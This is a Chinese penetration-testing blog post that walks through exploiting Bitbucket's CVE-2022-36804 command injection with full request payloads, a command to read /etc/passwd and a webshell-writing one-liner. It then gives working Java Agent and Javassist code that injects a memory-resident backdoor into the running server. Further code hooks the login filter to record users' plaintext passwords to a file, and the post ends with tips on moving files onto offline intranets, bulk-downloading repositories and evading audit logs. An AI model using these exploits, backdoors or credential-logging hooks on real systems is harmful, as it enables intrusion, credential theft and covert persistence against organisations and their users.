本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入,如log4j时被广泛使用的JNDIExploit此类工具。但有时候我们也会遇到命令拼接等问题获取到的权限,此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门,植入内存马成为了我们的第一选择。内存马除了常规的webshell功能外,我们还可以利用内存马完成一些其他的事情。
前期通过CVE-2022-36804获取命令执行权限,漏洞原理比较简单,具体可以看这篇文章https://www.anquanke.com/post/id/280193。
Bitbucket 是 Atlassian 公司提供的一个基于 web 的版本库托管服务,支持 Mercurial 和 Git 版本控制系统。支持私有化部署。该平台类似gitlab,是一个代码版本控制的平台,一般都是目标的it人员或管理员在使用。支持ldap认证及本地认证,获取到权限我们首先就想到驻留一个长期控制的后门。
通过docker安装环境:
docker pull atlassian/bitbucket-server:7.19.4-jdk11
启动该环境:
docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.19-jdk11
测试该漏洞需要目标存在public项目,需要获取到项目名和repo名。通过链接枚举公开项目:
example.com/repos?visibility=public
测试漏洞:
GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
成功回显结果:
HTTP/1.1 500
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380
{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}
执行命令的回显存在空格截断的问题,使用“|base64 -w 0”将命令base64编码后输出一行执行可以绕过其限制。
rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%20%7cbase64%20-w%200%60%00--prefix=/!
linux命令执行条件下写入webshell相信大家都烂熟于心:
echo xxx | base64 -d > 1.jsp
java应用一般有许多复杂的解析规则,一般jsp可能无法解析。寻找可以被解析的jsp目录最暴力的方式就是搜索应用目录的jsp文件
find / -name .jsp
没有的话我们一般尝试寻找静态资源目录,放jsp看是否能够解析。很可惜这个项目对访问的url有限制。且利用成功后为bitbuctet权限,无法修改配置。
我们在多数反序列化和webshell利用场景中,都是位于当前web上下文中执行代码。增加一个webFileter/webHanlder等操作通过动态执行代码的方式非常自然。
如何通过命令执行修改已经启动的程序是一个问题,java给出的解决方案是使用JavaAgent,对应的命令行参数为-javaagent:agent.jar。如下图:
简单来说,这种方式提供给程序员操作正在运行中程序jvm虚拟机的可能。我们可以在另一个程序操作已有的jvm虚拟机。这部分代码比较简单,如下图:
1处获取到所有的jvm虚拟机,并找到tomcat对应的虚拟机,2处装载JavaAgent,这里的JavaAgent是一个文件。JavaAgent加载的文件需要包含agentmain或premain等函数:
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
在agentmain中实现我们自己的代码,实现了在另一个jvm中执行任意代码的效果。后续通过反射等手段获取到web上下文进行内存马植入即可。主要参考动态注册的内存马,包括Servlet型、Listener型及Filter型的内存马。
这样我们需要通过大量的反射实现这个效果,除此之外我们有更简单的方法。我们可以重点关注agentmain函数的第二个参数Instrumentation类型,这个类包含许多方法:
其中我们最关注的是addTransformer和retransformClasses方法,addTransformer参数为ClassFileTransformer类型。
addTransformer该函数可以将一个ClassFileTransformer类的实例的transform函数返回的字节数组转换成类定义。也就是说我们定义类可以通过字节数组直接实现,而不需要进行传统定义。
配合retransformClasses可以改变正则运行的jvm的class。
定义一个Peoples类,当中有一个say方法,输出hello
package comm;
public class Peoples {
public void say(){
System.out.println("hello");
}
}
定义一个程序,每5s调用一次say
package comm;
public class Main {
public static void main(String[] args) throws Exception{
while (true){
new Peoples().say();
Thread.sleep(5000);
}
}
}
我们接下来要将这个程序运行起来,通过JavaAgent修改正在运行程序的输出。
新建一个项目,作为我们要载入的jar包,首先定义transformer:
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
public class TransformerTest implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!className.equalsIgnoreCase("Peoples")) {
return null;
}
return getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class");
}
public static byte[] getBytesFromFile(String fileName) {
File file = new File(fileName);
try {
InputStream is = new FileInputStream(file);
long length = file.length();
byte[] bytes = new byte[(int) length];
// Read in the bytes
int offset = 0;
int numRead = 0;
while (offset < bytes.length
&& (numRead = is.read(bytes, offset, bytes.length - offset)) >= 0) {
offset += numRead;
}
if (offset < bytes.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
is.close();
return bytes;
} catch (Exception e) {
System.out.println("error occurs in _ClassTransformer!"
+ e.getClass().getName());
return null;
}
}
}
定义agentmain函数:
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {
inst.addTransformer(new TransformerTest(), true);
System.out.println("add class success");
inst.retransformClasses(Peoples.class);
System.out.println("retransform success");
}
}
修改MANIFEST:
Manifest-Version: 1.0
Agent-Class: AgentTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true
制作pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_221/lib/tools.jar</systemPath>
</dependency>
</dependencies>
<groupId>org.example</groupId>
<artifactId>AgentTest</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>src/main/resources/MANIFEST.MF</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>assembly</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
定义加载器,这里加载器部分的代码也放在了jar包里编译:
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws Exception {
VirtualMachine vm;
List<VirtualMachineDescriptor> vmList;
String agentFile = new File( "E:\\AgentTest\\target\\AgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar").getCanonicalPath();
System.out.println(agentFile);
try {
vmList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vmList) {
System.out.println(vmd.displayName());
if (vmd.displayName().contains("Main") || "".equals(vmd.displayName())) {
vm = VirtualMachine.attach(vmd);
if (null != vm) {
vm.loadAgent(agentFile);
System.out.println("MemoryShell has been injected.");
vm.detach();
return;
}
}
}
System.out.println("No Tomcat Virtual Machine found.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
随后重新定义要替换的类,获取该类的字节码:
public class Peoples {
public void say(){
System.out.println("world");
}
}
在注射器中看到加载成功:
主程序显示加载成功但并未生效:
之前认为retransformClasses可以直接修改一个类,但实际存在限制。retransform主要还是强调装饰,想要修改一个类,还是需要redefineClasses:
ClassDefinition def = new ClassDefinition(Peoples.class, Objects.requireNonNull(TransformerTest
.getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class")));
inst.redefineClasses(new ClassDefinition[] { def });
System.out.println("redefineClasses success");
结果还是不行:
选择虚拟机,进行诊断
使用watch检测say方法的时候发现一直没有变化,使用jad反编译,发现此时类定义已经发生变化:
实际上我们已经成功的替换了这个类。
后续经过对比发现问题,一般的Agent内存马项目替换或者修改的都是jdk当中的类,而这里是在Jar包中和主程序中分别定义了一个Peoples类,虽然代码一样但实际可能不是一个类,即在jar包中:
不能使用自己的定义,而使用jdk的就没有问题。通过Instrumentation的函数解决这个问题:
Class[] classes = inst.getAllLoadedClasses();
for(Class c : classes) {
System.out.println("searching");
System.out.println(c.getName());
if (c.getName().equalsIgnoreCase("Peoples")) {
ClassDefinition def = new ClassDefinition(c, Objects.requireNonNull(TransformerTest
.getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class")));
inst.redefineClasses(new ClassDefinition[]{def});
System.out.println("redefineClasses success");
}
在jar包中动态获取类,这样不需要类定义。查看结果使用redefineClasses依旧无效。
上面的例子我们用一个新类去redefineClasses失败了,暂时不清楚是什么原因。目前成熟的Agent内存马项目都是用retransformClasses加上JavaAssist实现的。
Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
使用流程如下:
我们对刚才的Agent进行修改,首先是agentmain:
Class[] classes = inst.getAllLoadedClasses();
for(Class c : classes) {
inst.addTransformer(new TransformerTest(), true);
System.out.println("add class success");
inst.retransformClasses(c);
System.out.println("retransform success");
}
其次是transform:
if(!className.equalsIgnoreCase("Peoples")){
return null;
}
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass ctClass = null;
try {
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
} catch (IOException e) {
e.printStackTrace();
}
CtMethod ctm= null;
try {
ctm = ctClass.getDeclaredMethod("say");
} catch (NotFoundException e) {
e.printStackTrace();
}
StringBuilder codeBuilder = new StringBuilder()
.append("System.out.println(\"world\");").append("\n")
;
String beforeCode= codeBuilder.toString();
try {
ctm.insertAfter(beforeCode);
} catch (CannotCompileException e) {
e.printStackTrace();
}
try {
return ctClass.toBytecode();
} catch (IOException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
}
return null;
重新注入,发现已经成功修改运行中的函数:
1. 在windows下偶尔会遇到 VirtualMachine.list搜索不到目标进程的情况,多试几次就能找到 .
2. 使用arthas诊断会影响注入程序的Agent,如下图:
3. transformer对每个函数都会触发,应当做好判断,若不是要修改的类应该返回原本的字节码,如下
内存马项目的demo还是挺多的,看了一下完整度比较高的有https://github.com/threedr3am/ZhouYu,兼容绝大部分的场景。
简单看一下代码,主要是hook了javax.servlet.http.HttpServlet的service方法:
很多内存马都是基于tomcat,hook的是dofiler方法,如https://github.com/safe6Sec/MemoryShell/blob/master/agent/src/com/demo/agent/Main.java,不具备通用性。
ZhouYu实现的效果是将这段执行命令的代码注入所有的http请求之前:
同时会重写jar包,达到持久化注入内存马的效果:
在windows下打包编译后在linux运行报错:
看起来是加载器的问题,我们改用之前的加载器在目标编译:
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.util.List;
public class Attach {
public static void main(String[] args) throws Exception {
VirtualMachine vm;
List<VirtualMachineDescriptor> vmList;
String agentFile = new File("/agent-1.0-SNAPSHOT.jar").getCanonicalPath();
System.out.println(agentFile);
try {
vmList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vmList) {
System.out.println(vmd.displayName());
if (vmd.displayName().contains("BitbucketServer") || "".equals(vmd.displayName())) {
vm = VirtualMachine.attach(vmd);
if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {
continue;
}
if (null != vm) {
vm.loadAgent(agentFile);
System.out.println("insert success");
vm.detach();
return;
}
}
}
System.out.println("No BitbucketServer Virtual Machine found.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
注入的结果如图:
使用内存马除了能简单执行命令外,我们还希望可以扩大利用。搜集该服务器上可以利用的资源,一方面我们可以传统的寻找db/配置文件。另一方面,该系统可能被使用oath2、ldap等认证方式。我们可以通过记录密码的手段获取到更多的有效信息。
传统记录密码可能通过js+脚本引擎或使用跨域的请求实现,这里bitbucket用户无法修改js文件。想要记密码需要从服务端想办法。这时候内存马也派上了用场。
查看登录请求,对ZhouYu植入内存的代码稍加修改:
StringBuilder codeBuilder = new StringBuilder()
.append("if($1.getParameter(\"j_username\")!=null){").append("\n")
.append("String password = $1.getParameter(\"j_password\");").append("\n")
.append("String username = $1.getParameter(\"j_username\");").append("\n")
.append("String ret=username+\":\"+password+\"\\n\";").append("\n")
.append("byte[] b = ret.getBytes();").append("\n")
.append("java.io.File newTextFile = new java.io.File(\"res.txt\");").append("\n")
.append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n")
.append("fw.write(b);").append("\n")
.append("fw.close();").append("\n")
.append("}").append("\n")
;
再次编译并植入,发现虽然显示注入成功但并没有记录到密码。这里当时推测有几种可能性:
1. 植入的代码有问题
2. 代码没有被执行
针对问题1,笔者修改了记录的字段为password,并且将获取到的参数打印在页面中,发现成功记录password参数的值。排除代码的问题。针对问题2,笔者发现植入ZhouYu代码后,向login发送cmd=id并不会执行命令,也就是说我们植入的代码并没有对所有web请求生效。
经过多次测试,笔者发现只要请求带着j_username,那么请求就不会进入我们流程。也就是说j_username的处理逻辑在javax.servlet.http.HttpServlet.service之前或根本没有调用javax.servlet.http.HttpServlet.service。
尝试解决这个问题,笔者首先假设是生命周期的问题,尝试对dofiler进行hook,发现在该接口也无法记录到用户名密码。
在项目所有的依赖中,我们暴力grep j_username字段,发现有一个类包含这个字段。
其中doFilter很显眼,发现继承于GenericFilterBean,最终来自javax.servlet.Filter。我们尝试hook:
提示没有请求体,这应该是个接口/抽象方法,我们只能hook具体实现doFilter的地方。尝试hook com.atlassian.stash.internal.spring.security.StashAuthenticationFilter的doFilter方法,一堆报错,不知道为什么:
这时候笔者觉得j_username的认证可能是中间件完成的,我们只有应用的权限可能无法获取到。那么只有转变思路,寻找程序中类似login(username,password)的函数。
这个函数看起来很对,接受了账户和密码。实际我们需要从javax.servlet.ServletRequest获取。我们尝试hook createContextFromQueryParameters方法,成功记录:
这样还是比较明确的,实际上bitbucket这个项目认证模块没有使用javax.servlet.http.HttpServlet.service而是使用了javax.servlet.ServletRequest。javax.servlet.ServletRequest没有类似service这样可以拿到所有请求的函数,所以无法完成全局的hook。具体项目需要具体分析。
private String[][] methods = new String[][] {
new String[] {"com/atlassian/stash/internal/spring/security/StashAuthenticationFilter", "com.atlassian.stash.internal.spring.security.StashAuthenticationFilter", "createContextFromQueryParameters", "*"},
};
.append("try {").append("\n")
.append("javax.servlet.http.HttpServletRequest request = $1;").append("\n")
.append("String password=request.getParameter(\"j_password\");").append("\n")
.append("if(password!=null){").append("\n")
.append("String username=request.getParameter(\"j_username\");").append("\n")
.append("String r=username+\":\"+password;").append("\n")
.append("byte[] res = r.getBytes();").append("\n")
.append("java.io.File newTextFile = new java.io.File(\"/tmp/res.txt\");").append("\n")
.append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n")
.append("fw.write(res);").append("\n")
.append("fw.close();").append("\n")
.append("}").append("\n")
.append(" } catch (Throwable throwable) {").append("\n")
.append(" throwable.printStackTrace();").append("\n")
.append(" }").append("\n")
;
classPool.importPackage("java.io.File");
classPool.importPackage("java.io.InputStreamReader");
classPool.importPackage("java.io.FileOutputStream");
该漏洞需要有公开的项目,这种情况在外网很不常见。一般内网才能遇到符合条件环境,并且内网服务器出网一般存在限制。如何不出网利用是一个需要解决的问题。
主要障碍是如何把几百K甚至更大的文件传到服务器上。
我们的思路有两个:1.通过java原生的命令对源码进行编译,源码通过echo及base64命令写入。2.寻找上传的地方或记录post包的日志,使用sed/grep将其提取出来。
经过测试笔者发现在搜索触发csrf错误会记录到日志:
配合linux命令进行提取
美中不足的是header中依旧存在长度限制,和get一样需要多次发包。
拖文件系统还原非常的复杂,成本很高。登录用户界面会记录日志。且该项目使用动态js加载,命令行工具从页面获取较为困难。我们可以进行取巧,bitbucket提供系列api。并且API支持basic认证,可以直接通过api读取文件/下载文件:
http://192.168.137.204:7990/rest/api/1.0/projects/TEST/repos/test/browse/1.txt
http://192.168.137.204:7990/rest/api/latest/projects/TEST/repos/test/archive?format=tar.gz
并且发现bitbuct的后台审计日志并没有记录到日志,结合我们内存马记录到的密码,结果你们懂的。
通过本文,我们学会了如何远程操作jvm虚拟机给目标植入内存马。内存马的功能除了执行命令,我们可以发散思维,拿到一切可利用的东西,比如从jvm中拿到cookie,拿到链接密钥明文等。给我们的渗透带来进一步的可能。
涉及的代码已上传github:https://github.com/7BitsTeam/LearningAgentShell
https://juejin.cn/post/6844904035305127950
https://juejin.cn/post/7078681608206680094